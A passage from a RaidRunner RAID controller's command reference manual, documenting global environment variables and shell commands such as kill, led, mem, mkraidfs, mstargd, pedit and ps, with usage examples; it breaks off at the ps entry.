    • scsi_hreset (GEnv): Determines whether to issue a SCSI bus reset on host ports after power-on. If set (1), then a SCSI bus reset is done on the host port when starting the first smon/stargd process on that port. If NOT set (0), nothing is done. The default value is 0. The values this variable can take are
      • 0 - don't issue SCSI bus resets on power-on.
      • 1 - issue SCSI bus resets on power-on when the first smon/stargd process is started.
    • scsi_full_log (GEnv): Determines whether or not stargd reports, via syslog, a Reset Check condition on Read, Write, Test Unit Ready and Start Stop commands. This reset check condition is always set when a RaidRunner boots or the raid detects a scsi-bus reset. Note that this variable only suppresses the logging of this Check condition into syslog, it does not effect the response to the host of this and any Check condition. If set (1), then all stargd detected reset Check condition error messages are logged. If NOT set (0), these messages are suppressed The default value is 0. The values this variable can take are
      • 0 - suppress logging these messages
      • 1 - log all messages.
    • scsi_ms_badpage (GEnv): Determines whether or not stargd reports, via syslog, that it has received a non-supported page number in a MODE SENSE or MODE SELECT command it receives from a host. Note that stargd will issue the appropriate Check condition to the host ("Invalid Field in CDB") irrespective of the value of this variable. If set (1), then all stargd detected non-supported page numbers in MODE SENSE and MODE SELECT commands will be logged. If NOT set (0), these messages are suppressed The default value is 0. The values this variable can take are
      • 0 - suppress logging these messages
      • 1 - log all messages.
    • scsi_bechng (GEnv): Determines whether or not the raid reports backend device parameter change errors. In a multi controller environment, backends are probed and some of their parameters are changed by a booting controller. This will generate parameter change mode sense errors. If cleared (0), then all parameter change errors will NOT be logged. If set (1), these messages are logged like any other backend error. The default value is 0. The values this variable can take are
      • 0 - suppress logging these messages
      • 1 - log all messages.
    • scsi_dnotch (GEnv): Some disk drives take an inordinate amount of time to perform mode select commands. One set of information a RaidRunner will obtain from a device backend are the disk notch pages (if present). As this is for information only, then to reduce the boot time of a RaidRunner you can request that disk notches are not obtained. If cleared (0), backend disk notch information is not probed for. If set (1), then backend disk notch information is probed for. The default value is 1. The values this variable can take are:
      • 0 - don't probe for notch pages
      • 1 - probe for notch pages
    • scsi_rw_retries (GEnv): Specify the number of read or write retries to perform on a device backend before effecting an error on the given operation. Note that ALL retries are reported via syslog. The default value is 3. It's value can range from 1 to 9.
    • scsi_errpage_r (GEnv): Specify the number of internal read retries that a disk backend is to perform before reporting an error (to the raid). Setting this variable causes the Read Retry Count field in the Read-Write Error Recovery mode sense page. A value of -1 will cause the drive's default to be used. The default value is -1. It's value can range from -1 (use disk's default) or from 0 to 255.
    • scsi_errpage_w (GEnv): Specify the number of internal write retries that a disk backend is to perform before reporting an error (to the raid). Setting this variable causes the Write Retry Count field in the Read-Write Error Recovery mode sense page. A value of -1 will cause the drive's default to be used. The default value is -1. It's value can range from -1 (use disk's default) or from 0 to 255.
    • BackFrank: Specify the SCSI-ID of the first rank of backend disks on a RaidRunner. This variable should never be changed and is for informative purposes only. The default value is dependant on the model of RaidRunner being run. The values this variable can take are
      • 0 - the first rank SCSI-ID will be 0
      • 1 - the first rank SCSI-ID will be 1
    • raid_drainwait (GEnv): Specify the number of milliseconds a raidset is to delay, before draining all backend I/O's when a backend fails. Setting this variable to a lower value will speed up the commencement of any error recovery procedures that would be performed on a raid set when a backend fails. The default value is 500 milliseconds. It's value can range from 50 to 10000 milliseconds.
    • EnclosureType: Specify the enclosure type a raid controller is running within. This variable should never be changed and is for informative purposes only. The default value is dependant on the model of RaidRunner being run. The values this variable can take are integers starting from 0.
    • fmt_idisc_tmo (GEnv): Specify the SCSI command timeout (in milliseconds) when a SCSI FORMAT command is issued on a backend. Disk drives take different amounts of time to perform a SCSI FORMAT command and hence a timeout is required to be set when the command is issued. As certain drives may take longer to format than the default timeout you can change it. The default value is 720000 milliseconds. It's value can range from 200000 to 1440000 milliseconds.
    • AutoShutdownSecs (GEnv): Specify the number of seconds the RaidRunner should monitor catastrophic hardware failures before deciding to automatically shutdown. A catastrophic failure is one which will cause damage to the RaidRunner's hardware if not fixed immediately. Failures like all fans failing would be considered catastrophic. A value of 0 seconds (the default) will disable this feature, that is, with the exception of logging the errors, no action will occur. See the shutdown and hwmon for further details. The default value is 0 seconds. It's value can range from 20 to 125 seconds.
    • SEE ALSO: setiv, getiv, syslog, setenv, printenv, hwmon, shutdown

    13.33 KILL - send a signal to the nominated process

    • SYNOPSIS: kill [-sig_name] pid
    • DESCRIPTION: kill sends a signal to the process nominated by pid. If the pid is a positive number then only the nominated process is signaled. If the pid is a negative number then the signal is sent to all processes in the same process group as the process with the id of -pid. The switch is optional and if not given a SIGTERM (software termination signal) is sent. If the sig_name switch is given then it should be one of the following (lower case) abbreviations. Only the first 3 letters need to be given for the signal name to be recognized. Following each abbreviation is a brief explanation and the signal number in brackets: null - unused signal [0]

    hup - hangup [1]

    int - interrupt (rubout) [2]

    quit - quit (ASCII FS) [3]

    kill - kill (cannot be caught or ignored) [4]

    pipe - write on a pipe with no one to read it [5]

    alrm - alarm clock [6]

    term - software termination signal [7]

    cld - child process has changed state [8]

    nomem - could not obtain memory (from heap) [9]

    You cannot kill processes whose process id is between 0 and 5 inclusive. These are considered sacrosanct - hyena, init and console reader/writers.

    • SEE ALSO: K9kill

    13.34 LED- turn on/off LED's on RaidRunner

    • SYNOPSIS:
      • led
      • led led_id led_function
    • DESCRIPTION: led uses the given led_id to identify the LED to manipulate based on the led_function. When no arguments are given, an internal LED register is printed along with the current function the onboard LEDS, led1 and led2 are tracing. If a undefined led_id is given, the led command silently does nothing and returns NULL. If an incorrect number of arguments or invalid led_function is given a usage message is printed. Depending on the RaidRunner model the led_id can be one of
      • led1 - LED1 on the RaidRunner controller itself
      • led2 - LED2 on the RaidRunner controller itself
      • Dc.s.l - Device on channel c, scsi id s, scsi lun l
      • status - the status LED on the RaidRunner
      • io - the io LED on the RaidRunner
      and led_function can be one of
    • on - turn on the given LED
    • off - turn off the given LED
    • ok - set the given LED to the defined OK state
    • faulty - set the given LED to the defined FAULTY state
    • warning - set the given LED to the defined WARNING state
    • rebuild - set the given LED to the defined REBUILD state
    • tprocsw - set the given LED to trace kernel process switching
    • tparity - set the given LED to trace I/O parity generation
    • tdisconn - set the given LED to trace host interface disconnect activity
    • pid - set the given LED to trace the process pid as it runs

    Different models of RaidRunner have various differences in number of LED's and their functionality. Depending on the type of LED, the ok, faulty, warning and rebuild functions perform different functions. See your RaidRunner's Hardware Reference manual to see what LED's exist and what different functions do.

  • NOTES: Tracing activities can only occur on the `onboard` leds (LED1, LED2).
  • SEE ALSO: lflash

    • 13.35 LFLASH- flash a led on RaidRunner

    • SYNOPSIS: lflash led_id period
    • DESCRIPTION: lflash uses the given led_id to identify the LED to flash every period seconds. If a undefined led_id is given, the led command silently does nothing and returns NULL. Depending on the RaidRunner model the led_id can be one of: led1 - LED1 on the RaidRunner controller itself

    led2 - LED2 on the RaidRunner controller itself

    Dc.s.l - Device on channel c, scsi id s, scsi lun l

    status - the status LED on the RaidRunner

    io - the io LED on the RaidRunner

    • NOTE: The number of seconds must be greater than or equal to 2.
    • SEE ALSO: led

    13.36 LINE - copies one line of standard input to standard output

    • SYNOPSIS: line
    • DESCRIPTION: line accomplishes the one line copy by reading up to a newline character followed by a single K9write.
    • SEE ALSO: K9read, K9write

    13.37 LLENGTH - return the number of elements in the given list

    • SYNOPSIS: llength list
    • DESCRIPTION: llength returns the number of elements in a given list.
    • EXAMPLES: Some simple examples:
      set list D1 D2 D3 D4 D5 # create the list

      set len `llength $list' # get it's length

      echo $len

      5

      set list {D1 D2 D3 D4 D5} {D6 D7}  # create the
 list

      set len `llength $list' # get it's length

      echo $len

      2

      set list {} # create an empty list

      set len `llength $list' # get it's length

      echo $len

      0

    13.38 LOG - like zero with additional logging of accesses

    • SYNOPSIS: bind -k {log fd error_rate tag} bind_point
    • DESCRIPTION: log is a special file that when written to is a infinite sink of data (i.e. anything can be written to it and it will be disposed of quickly). When log is read it is an infinite source of zeros (i.e. the byte value 0). The log file will appear in the K9 namespace at the bind_point. Additionally, ASCII log data is written to the file associated with file descriptor fd. error_rate should be a number between 0 and 100 and is the percentages of errors (randomly distributed) that will be reported (as an EIO error) to the caller. Each line written to fd will have tag appended to it. There is one line output to fd for each IO operation on the log special file. The first character output is "R" or "W" indicating a read or write. The second character is blank if no error was reported and "*" if one was reported. Next (after a white space) is a (64 bit integer) offset into the file of the start of the operation, followed by the size (in bytes) of that operation. The line finishes with the tag.
    • EXAMPLE: Bind a log special file at "/dev/log" that writes log information to standard error. Each line written to standard error has the tag string "scsi" appended to it. Approximately 30% of reads and writes (i.e. randomly distributed) return an EIO error to the caller. This is done as follows:
      bind "log 2 30 scsi" /dev/log

      dd if=/dev/zero of=/dev/log count=5 bs=512

      W  0000000000 512        scsi

      W  0000000200 512        scsi

      W  0000000400 512        scsi

      W* 0000000600 512        scsi

      Write failed.

      4+0 records in

      3+0 records out
  • SEE ALSO: zero

    • 13.39 LRANGE - extract a range of elements from the given list

    • SYNOPSIS: lrange first last list
    • DESCRIPTION: lrange returns a list consisting of elements first through last of list. 0 refers to the first element in the list. If first is greateR THAN last then the list is extracted in reverse order.
    • EXAMPLES: Some simple examples:
      set list D1 D2 D3 D4 D5 # create the list

      set subl `lrange 0 3 $list' # extract from indices 0 to 3

      echo $subl

      D1 D2 D3 D4

      set subl `lrange 3 1 $list' # extract from indices 3 to 1

      echo $subl

      D4 D3 D2

      set subl `lrange 4 4 $list' # extract from indices 0 to 3

      echo $subl # equivalent to get 4 $list

      D5

      set subl `lrange 3 100 $list'

      echo $subl

      D4 D5

    13.40 LS - list the files in a directory

    • SYNOPSIS: ls [ -l ] [ directory... ]
    • DESCRIPTION: ls lists the files in the given directory on standard out. If no directory is given then the root directory (i.e. "/") is listed. Each file name contained in a directory is put on a separate line. Each listing has a lead-in line stating which directory is being shown. If there is more than one directory then they are listed sequentially separated by a blank line. If the "-l" switch is given then every listed file has data such as its length and the file system it belongs to shown on the same line as its name. See the stat command for more information. ls is not an inbuilt command but a husky script which utilizes cat and stat. The script source can be found in the file "/bin/ps".
    • SEE ALSO: cat, stat

    13.41 LSEARCH - find the a pattern in a list

    • SYNOPSIS: lsearch pattern list
    • DESCRIPTION: lsearch returns the index of the first element in list that matches pattern or -1 if none. 0 refers to the first element in the list
    • EXAMPLES: Some simple examples:
      set list D1 D2 D3 D4 D5 # create the list

      set idx `lsearch D4 $list' # get index of D4 in list

      echo $idx

      3

      set idx `lsearch D1 $list' # get index of D1 in list

      echo $idx

      0

      set idx `lsearch D8 $list' # get index of D8 in list

      echo $idx # equivalent to get 4 $list

      -1

    13.42 LSUBSTR - replace a character in all elements of a list

    • SYNOPSIS: lsubstr find_char replacement_char list
    • DESCRIPTION: lsubstr returns a list replacing every find_ch character found in any element of the list with the replacement_char character. replacement_char can be NULL which effectively deletes all find_char characters in the list.
    • EXAMPLES: Some simple examples:
      set list D1 D2 D3 D4 D5 # create the list

      set subl `lsubstr D x $list' # replace all D's with x's

      echo $subl

      x1 x2 x3 x4 x5

      set subl `lsubstr D {} $list' # delete all D's

      echo $subl

      1 2 3 4 5

      set list -L -16 # create a list with embedded braces

      set subl `lsubstr {} $list' # delete all open braces

      set subl `lsubstr {} $subl' # delete all close braces

      echo $subl

      -L 16

    13.43 MEM - memory mapped file (system)

    • SYNOPSIS: bind -k {mem first last [ r ]} bind_point
    • DESCRIPTION: mem allows machine memory to be accessed as a single K9 file (rather than a file system). The host system's memory is used starting at the first memory location up to and including the last memory location. Both first and last need to be given in hexadecimal. If successful the mem file will appear in the K9 namespace at the bind_point. The stat command will show it as a normal file with the appropriate size (i.e. last - first + 1). If the optional "r" is given then only read-only access to the file is permitted. In a target environment mem can usefully associate battery backed-up RAM (or ROM) with the K9 namespace. In a Unix environment it is of limited use (see unixfd instead). In a DOS environment it may be useful to access memory directly (IO space) but for accessing the DOS console see doscon. When mem is associated with the partition of Flash RAM that stores the husky scripts, which is stored compressed, reading from that page will automatically decompress and return the data as it is read. When mem is associated with the writable partitions of Flash RAM (configuration partition, husky script partition and main binary partition) a write to the start of any partition will erase that partition.
    • SEE ALSO: ram
    • BUGS: Only a single file rather than a file system can be bound.

    13.44 MDEBUG - exercise and display statistics about memory allocation

    • SYNOPSIS: mdebug [off|on|trace|p|m size|f ptr|c nel elsize|r ptr size]
    • DESCRIPTION: mdebug can be used to directly allocate and free memory. mdebug will also print (to standard output) information about the current state of memory allocation. With out any given options a brief five line summary of memory usage is printed, e.g.
      : raid; mdebug

      Mdebug is off

      nreq-nfree=87096-82951=4145(13905745)

      size=15956672/16150000

      waste=1%/2%

      list=4251/8396

      : raid;

    The first line indicates the debug mode, either off, on or trace. The second line indicates the number times a request for memory is made (to Mmalloc() or Mcalloc() and related functions) and the number of times the memory allocator is called to free memory (via Mfree()). The difference between these first two numbers is the total number of currently allocated blocks of memory, with the number between the '(' and ')' being the total memory requested. Note that the amount of memory actually assign may be more than requested.

    The third line indicates the amount of memory being managed. The second number is the total memory man aged (i.e. left over after loading the statically allocated text, data and bss space). The first number is that left over after various memory allocation tables have been subtracted out from that afore mention number. The fourth line is the total amount of extra memory assigned to requests in excess of the actual requested memory as compared with the totals on line 3.

    The fifth line relates to the list of currently allocated memory. The first number is the number of free entries left and the second is the maximum table size. Note that the number of currently allocated blocks (third number on line 2) when added to the first number on line 5 gives the second number on line 5.

  • OPTIONS:
    • p: Prints the above mentioned five line summary and then the free list.
    • P: Prints all the above plus dumps the list of currently allocated memory.
    • PP: Prints all the above plus the free bitmap.

    • The above three options can generate copious output and require a detailed knowledge of the source to understand their meaning.

  • off: Turns off memory allocation debugging. This is the default condition after booting.
  • on: Turns on memory allocation assertion checking.
  • trace: Turns on memory allocation assertion checking and traces every memory allocation / deallocation.
  • m: Uses Mmalloc() to allocate a block of memory of size bytes.
  • f: Uses Mfree() to de-allocate a block of memory addressed by ptr.
  • c: Uses Mcalloc() to allocate a contiguous block of memory consisting of nel elements each of size bytes.
  • r: Uses Mrealloc() to re-allocate a block of previously allocated memory, ptr, changing the allocated size to be size bytes.
  • SEE ALSO: Unix man pages on malloc()

    • 13.45 MKDIR - create directory (or directories)

    • SYNOPSIS: mkdir [ directory_name ... ]
    • DESCRIPTION: mkdir creates the given directory (or directories). If all the given directories can be created then NIL is returned as the status; otherwise the first directory that could not be created is returned (and this command will continue trying to create directories until the list is exhausted). A directory cannot be created with a file name that previously existed in the enclosing directory.

    13.46 MKDISKFS - script to create a disk filesystem

    • SYNOPSIS: mkdiskfs disk_directory_root disk_name
    • DESCRIPTION: mkdiskfs is a husky script which is used to perform all the necessary commands to create a disk filesystem given the root of the disk file system and the name of the disk.
    • OPTIONS :
      • disk_directory_root: Specify the directory root under which the disk filesystems are bound. This is typically /dev/hd.
      • disk_name: Specify the name of the disk in the format Dc.s.l where c is the channel, s is the scsi id (or rank) and l is the scsi lun of the disk.
      After parsing it's arguments mkdiskfs creates the disk filesystem's bind point and binds in the disk at that point. set.
  • SEE ALSO: rconf, scsihdfs

    • 13.47 MKHOSTFS - script to create a host port filesystem

    • SYNOPSIS: mkhostfs controller_number host_port host_bus_directory
    • DESCRIPTION: mkhostfs is a husky script which is used to perform all the necessary commands to create a host port filesystem on the given RaidRunner controller given the root of the host port file systems and the host port number.
    • OPTIONS:
      • controller_number: Specify the controller on which the host port filesystem is to be created.
      • host_port: Specify the host port number to create the filesystem for.
      • host_bus_directory: Specify the directory root under which host filesystems are bound. This is typically /dev/hostbus. After parsing it's arguments mkhostfs finds out what SCSI ID the host port is to present (see hconf and then binds in the host filesystem. set.
    • SEE ALSO: hconf, scsihpfs

    13.48 MKRAID - script to create a raid given a line of output of rconf

    • SYNOPSIS: mkraid `rconf -list RaidSetName'
    • DESCRIPTION: mkraid is a husky script which is used to perform all the necessary commands to create and enable host access to a given Raid Set. The arguments to mkraid is a line of output from a rconf -list command. After parsing it's arguments mkraid checks to see if a reconstruction was being performed when the RaidRunner was last operating, and if so, notes this. It then creates the raid filesystem (see mkraidfs) and adds a cache frontend to the raid filesystem. It then creates the required host filesystems (see mkhsotfs) and finally, if a reconstruction had been taking place when the RaidRunner was last operating, it restarts a reconstruction.
    • NOTE: This husky script DOES NOT enable target access (stargd) to the raid set it creates.
    • SEE ALSO: rconf, mkraidfs, mkhostfs

    13.49 MKRAIDFS - script to create a raid filesystem

    • SYNOPSIS: mkraidfs -r raidtype -n raidname -b backends [-c chunk] [-i iomode] [-q qlen] [-v] [-C capacity] [-S]
    • DESCRIPTION: mkraidfs is a husky script which is used to perform all the necessary commands to create a Raid filesystem.
    • OPTIONS:
      • -r raidtype: Specify the raid type as raidtype for the raid set. Must be 0, 1, 3 or 5.
      • -n raidname: Specify the name of the raid set as raidname.
      • -b backends: Specify the comma separated list of the raid set's backends in the format used by rconf.
      • -c iosize: Optionally specify the IOSIZE (in bytes) of the raid set.
      • -i iomode: Optionally specify the raid set's iomode - read-write, read-only, write-only.
      • -q qlen: Optionally specify the raid set's queue length for each backend.
      • -v: Enable verbose mode which prints out the main actions (binding, engage commands) as they are performed.
      • -C capacity: Optionally specify the raid set's size in 512-byte blocks.
      • -S: Optionally specify that spares pool access is required should a backend fail.
      After parsing it's arguments mkraidfs creates the Raid Set's backend filesystems, typically, disks (see mkdisfs) taking care of failed backends. It then binds in the raid filesystem and engages the backends into the filesystem. If spares access is requested, it enables the autorepair feature of the raid set.
  • SEE ALSO: rconf, mkraidfs, mkhostfs, mkdiskfs, raid[0135]fs

    • 13.50 MKSMON - script to start the scsi monitor daemon smon

    • SYNOPSIS: mksmon controllerno hostport scsi_lun protocol_list
    • DESCRIPTION: mksmon is a husky script which is used to perform all the necessary commands to start the scsi monitor daemon smon given the controller number, hostport, scsi lun, and the block protocol list. Typically, mksmon, is run with it's arguments from the output of a mconf -list command.
    • OPTIONS:
      • controllerno: Specify the controller on which the scsi monitor daemon is to be run.
      • hostport: Specify the host port through which the scsi monitor daemon communicates.
      • scsi_lun: Specify the SCSI LUN the scsi monitor daemon is to respond to.
      • protocol_list: Specify the comma separated block protocol list the scsi monitor daemon is to implement.
      After parsing it's arguments mksmon checks to see if it's already running and issues a message if so and exits. Otherwise, it creates the host filesystem (mkhostfs), creates a memory file and set of fifo's for smon to use and finally starts smon set.
  • SEE ALSO: smon, mconf, mkhostfs, fifofs

    • 13.51 MKSTARGD - script to initialize a scsi target daemon for a given raid set

    • SYNOPSIS: mkstargd `rconf -list raidname'
    • DESCRIPTION: mkstargd is a husky script which is used to perform all the necessary commands to start and initialize the scsi target daemon stargd for a given raid set. Typically, mkstargd, is run with it's arguments from the output of a rconf -list command. After parsing it's arguments mkstargd checks to see if it's already running and issues a message if so and exits. Otherwise, it creates the host filesystem (mkhostfs), then starts the scsi target daemon (stargd) for the given raid set. stargd is started in a mode that responds to non-medium access SCSI commands and sets a state of "spinning up". Typically stargd's are started as soon as possible but do not allow medium access commands until the underlying raid sets have been created and then are flagged as "spun up" (via mstargd -o command) which allows medium access.
    • SEE ALSO: stargd, rconf, mkhostfs

    13.52 MSTARGD - monitor for stargd

    • SYNOPSIS: mstargd [-a] [-d level] [-h] [-hr] [-hw] [-l] [-m] [-n] [-o offset] [-R] [-s] [-t] [-v] [-W] [-z] [-Z spinstate] [-U] [-irgap nblks] pid
    • DESCRIPTION: mstargd modifies the state or prints out information about the stargd daemon with the given pid. If such a process exists and no optional switches are given then the current debug level of that stargd daemon is printed to standard out by this call. mstargd works by looking for file named "/mon/stargd/pid". If it is not found or the pid does not represent an existing process then mstargd exits with an appropriate error message. If it is found then it is assumed to contain a reference into the associated stargd process's state (and statistics) structure. The "reference" for target hardware such as the raid (without memory management) is a memory address. The "reference" for Unix machines could be a shared memory identifier or a memory address (depending on how K9 processes are mapped to Unix processes). mstargd performs its monitoring (or modifying) task then exits immediately. A sanity check is performed on the associated stargd process's state (and statistics) structure before it is used. Operations that take a little time (e.g. "-h", "-s" and "-t") take an internal copy of this state structure. mstargd is designed to have no detrimental effect on a running stargd daemon. Note that the 3 modifying operations (i.e. "-o", "-d" and "-z") have no adverse effect either.
    • OPTIONS
      • -a: This option has the same effect as giving mstargd the options, "-h -l -m -s -t".
      • -d level: This option will change the debug level of the nominated stargd daemon to the given level. The debug levels are:
        • 0 = no debug messages
        • 1 = debug messages on all non-read/write commands
        • 2 = debug messages on all commands
      • -h: This option will output a histogram for reads and a separate one for writes. The histogram currently consists of a header line followed by multiple lines. Each line has the number of blocks in its 1st column, the number of invocations in the 2nd column and the cumulative time in the SCSI data phase in the 3rd column. Only lines with non-zero invocations are output. Block number 257 (if present) will be the last line and records all commands requesting 257 or more blocks.
      • -hr: This option only prints out the histogram for reads.
      • -hw: This option only prints out the histogram for writes.
      • -l: This option prints out the stargd read lookahead statistics.
      • -m: This option prints out the moniker (i.e name) of the raid set indicated by the given pid.
      • -n: This option toggles the collection of statistics by the indicated stargd process.
      • -o offset: This option informs the daemon that reads and writes into it's store are to be offset by the given number of blocks. The default value for offset is 0. The given offset must be in the range 0 to (2**32 - 1). The typical block size is 512 bytes. To simplify writing out large numbers certain suffixes can be used, see suffix. Additionally, this option informs the daemon that it's store is now available for access by setting it's spin state to 1. See "-Z" option below.
      • -R: This option sets the write-protect flag which will result in any write command issued to the stargd process (as indicated by the given pid) to return a check condition with the sense key set to "DATA PROTECT" and the additional sense key set to "WRITE PROTECT".
      • -s: This option prints the current state of the SCSI command state machine.
      • -t: This option prints a row each for read(6), read(10), write(6), write(10) and others. These 5 rows represent a categorization of all incoming SCSI commands. Each row contains the number of invocations and the number of errors detected. Errors are divided into 2 categories: type 1 for situations when a "Check Condition" status is returned, and type 2 when some other failed status is returned (e.g. "Command terminated" or "Reservation conflict").
      • -v: This option prints out the histogram (-h, -hw, -hr) and SCSI command summary (-t) in vector (or line) form.
      • -U: This option clears any SCSI-2 reservations set on the scsi target specified by the given pid. WARNING this clearance "controller system wide".
      • -W: This option clears the write-protect flag which enables write commands issued to the stargd process (as indicated by the given pid) to write data.
      • -z: This option zeroes the internal tables used by the histograms.
      • -irgap nblks: Specify the inter-read gap, nblks, (in blocks). When sequential reads arrive from a host there may be a small gap between successive reads. Normally the lookahead algorithm will ignore these gaps providing they are no larger than the average length of the group of sequential reads that have occurred. By specifying this value, you can increase this gap.
      • -Z spinstate: This option will change the spin state of the nominated stargd daemon to the given spinstate. The spin states are (State, Description, ASC,ASCQ):
        • 0, LOGICAL UNIT IS IN PROCESS OF BECOMING READY, 0x04, 0x01
        • 1, Logical unit is ready - medium access commands allowed, -, -
        • 2, LOGICAL UNIT NOT READY, MANUAL INTERVENTION REQUIRED, 0x04, 0x03
        • 3, LOGICAL UNIT HAS NOT SELF-CONFIGURED YET, 0x3e, 0x00
        • 4, LOGICAL UNIT HAS FAILED SELF-CONFIGURATION, 0x4c, 0x00
        • stargd's spin state is used to describe the condition of the tar get whilst is is NOT READY. When stargd is not ready to accept SCSI-2 medium access commands it returns a CHECK CONDITION status to all medium access commands, sets the mode sense key to NOT READY and the additional mode sense code and code qualifier to values depending in the spin state value. Typically, when a RaidRunner boots it requires time to create the configured Raid Sets, although it needs to start the scsi target daemons (stargd) as soon as possible. It does start all the required stargds and set's their spin state to 0. Once the raid sets have been built and are linked to their stargds, the spin state is set to 1 meaning it will allow and process SCSI-2 medium access commands. (See the "-o" option above). The additional spin states of 2, 3 and 4 can be used by systems with intelligent SCSI drivers in high availability environments.
    • SEE ALSO: stargd

    13.53 NICE - Change the K9 run-queue priority of a K9 process

    • SYNOPSIS: nice pid priority
    • DESCRIPTION: nice will change the run-queue priority of the process given by pid to priority.
    • OPTIONS:
      • pid: This is the process identifier of the K9 process whose run-queue priority is to change.
      • priority: This the the priority to set. Priorities range from 0 (lowest) to 9 (highest).
    • SEE ALSO: K9setpriority

    13.54 NULL- file to throw away output in

    • SYNOPSIS: bind -k null bind_point
    • DESCRIPTION: null is a special file that when written to is a infinite sink of data (i.e. anything can be written to it and it will be disposed of quickly). When null is read it is an infinite source of end-of-files. The null file will appear in the K9 names- pace at the bind_point.
    • EXAMPLE Husky installs a null special file as follows:
      bind null /dev/null
  • SEE ALSO zero, log

    • 13.55 PARACC - display information about hardware parity accelerator

    • SYNOPSIS: paracc
    • DESCRIPTION: paracc will print (to standard output) information about the hardware parity accelerator, if installed. The main output line of interest to all except those debugging the RaidRunner is the first line which displays, in bytes, the size of the memory on the hardward parity accelerator. IE
      Parity Memory available : 1048576

      PAccLock@0xBF368{own=-1,cnt=1,pvt=0x0,nwait=0,name="PAc"}

      Request failures: 0, Max Usage: 2, Alloc: 1, Free: 31

      have_paracc is 1.

      Req Fails: 0 0 0 0 0 0 0 0 0 0

    All other lines are only informative for debugging purposes. If there is no accelerator present, then the Parity Memory available will be 0.

    13.56 PEDIT - Display/modify SCSI backend Mode Parameters Pages

    • SYNOPSIS:
      • pedit page_code c.s.l
      • pedit page_code c.s.l byte_modifier_list
    • DESCRIPTION: pedit will either report the SCSI pages of mode parameters for a given page - page_code on a given SCSI backend device c.s.l and or allow you to change the mode parameters. In it's first form, pedit, for a given page code, will print five lines. The first is a header for ease of reading, the second will be the DEFAULT mode parameters, the second will be CHANGEABLE bitmask values, the third will be the CURRENT mode parameters and the last will be the SAVED mode parameters. In it's second form, pedit, for a given page code and device, will print the page codes but also will apply the byte_modifier_list to either the CURRENT or SAVED mode parameters. The supported SCSI pages are 0x1 ERROR RECOVERY page

    0x2 DISCONNECT page

    0x3 FORMAT page

    0x4 GEOMETRY page

    0x8 CACHE page

    0xc NOTCH page

    0xa CONTROL page

    • OPTIONS
      • page_code: Specify the SCSI Page Code in hex.
      • c.s.l: Identify the disk device to select by specifying it's channel, SCSI ID (rank) and SCSI LUN provided in the format "c.s.l"
      • byte_modifier_list: The byte_modifier_list is of the form
        C|Sbyte_no:set_val: clr_val,byte_no:set_val:clr_val,...
      where the C or S prefix specifies whether you want to change the CURRENT or SAVED mode pages respectively. This prefix is followed by a comma separated list of byte modifiers in the form byte_no:set_val:clr_val where byte_no is the byte number to change, set_val is a mask of which bits within that byte to SET (to 1) and clr_val is a mask of which bits within that byte to CLEAR (to 0).
  • SEE ALSO: The mode sense page references in the relevant product manual for the disks used in the RAID.

    • 13.57 PIPE - two way interprocess communication

    • SYNOPSIS:
      • bind -k pipe bind_point
      • cat bind_point
      • bind_point/data
      • bind_point/ctl
      • bind_point/data1
      • bind_point/ctl1
    • DESCRIPTION: pipe file system associates a one level directory with the bind_point in the K9 namespace. This device allocates two streams which are joined at the device end. bind_point/data and bind_point/ctl are the data and control channels for one stream while bind_point/data1 and bind_point/ctl1 are the data and control channels for the other stream. Data written to one channel is available for reading at the other. Write boundaries are preserved: each read terminates when the read buffer is full or after reading the last byte of a write, whichever comes first.

    13.58 PRANKS - print or set the accessible backend ranks for the current controller

    • SYNOPSIS
      • pranks
      • pranks rank1 [rank2 ... rankn]
    • DESCRIPTION: pranks, without any arguments will print which backend ranks of devices the controller, on which the command is executed, can access. If a rank is not accessible, then a "-1" is printed in place of the rank number (i.e scsi id of that rank). If you wish to set which rank id's a controller is allowed to access then execute this command with those rank id's as it's arguments. When you execute this command to set access to certain (or all) ranks, then the access restrictions (if any) are effective immediately. Additionally, the GLOBAL environment variable BackendRanks is either defined or modified and when you next boot the RaidRunner, the settings you have just created will be set again automatically.
    • EXAMPLE: Assume you have a RaidRunner system with four ranks of backend devices (rank 1, 2, 3 and 4) but you want to restrict the controller's access to the first two as you don't have any devices installed in the third and forth ranks. You would execute pranks 1 2
    • SEE ALSO: environ, sranks

    13.59 PRINTENV - print one or all GLOBAL environment variables

    • SYNOPSIS
      • printenv
      • printenv name [name ...]
    • DESCRIPTION: printenv prints the value (or list of values) associated with the GLOBAL environment variable name. If multiple GLOBAL environment variables are given, each value is printed on a line of it's own. When a GLOBAL environment variable is a list of values, each value is printed on a line of it's own. When printenv is called with no arguments, all GLOBAL environment variables and their associated value(s) are printed, one per line. If a value is a list then each element of the list is separated with the vertical bar () character.
    • NOTE: A GLOBAL environment variable is one which is stored in a non volatile area on the RaidRunner and hence is available between successive power cycles or reboots. These variables ARE NOT the same as husky environment variables. The non volatile area is co-located with the RaidRunner Configuration area. If the given variable name is not a GLOBAL environment variable nothing is printed and no error status is set.
    • SEE ALSO: setenv, unsetenv, rconf
    • PROC - the process file system (device)
    • SYNOPSIS:
      • bind -k proc bind_point
      • cat bind_point
      • cat bind_point/0
      • cat bind_point/1
      • ...
      • cat bind_point/N
      • signal
      • sigpgrp
      • status
    • DESCRIPTION: The proc device creates a two level directory below its bind_point. The first level entries are the numbers of the processes that are known currently to K9. The second level entries are the filenames: "signal", "sigpgrp" and "status". It is an error to read from the second level directory files "signal" and "sigpgrp". When "status" is read it returns an ASCII string containing the following fields:
      • process name
      • process identifier (i.e. its pid)
      • this process's parent's pid
      • pid of process group leader
      • process state
      • process priority
      • maximum stack utilization as % of available stack
      • milliseconds of CPU time registered
      • semaphore id (if any) this process is waiting on
      These fields have an appropriate number of spaces between them so they look "reasonable" when output by ps. The process states are listed below:
    • I interrupted
    • R currently running (or has yielded control)
    • S stirred (signaled while waiting)
    • W waiting on a semaphore
    • Z terminated and parent not waiting

    It is an error to write to the second level directory file "status". A signal number or signal name (see kill for a list of signal names - which cannot be abbreviated in this case) may be written to the file "signal". This action will send a signal to the associated process. If a signal number or name is written to the file "sigpgrp" then all the processes in the process group which this process belongs to will receive the signal.

  • SEE ALSO: ps, kill

    • 13.60 PS - report process status

    • SYNOPSIS: ps
    • DESCRIPTION: ps prints information about all running K9 processes on standard out. The information output includes the process name, its process identification number (PID), its parent's PID, process group, process state, the maximum percentage utilization of its stack and the milliseconds of CPU time its has used. The process states are listed below:
      • I interrupted
      • R currently running (or has yielded control)
      • S stirred (signaled while waiting)
      • W waiting on a semaphore
      • Z terminated and parent not waiting
    • Currently ps is implemented as a K9 Husky script (rather than a built in command). The script source can be found in the file "/bin/ps". The script utilizes the file system proc.
    • EXAMPLE:
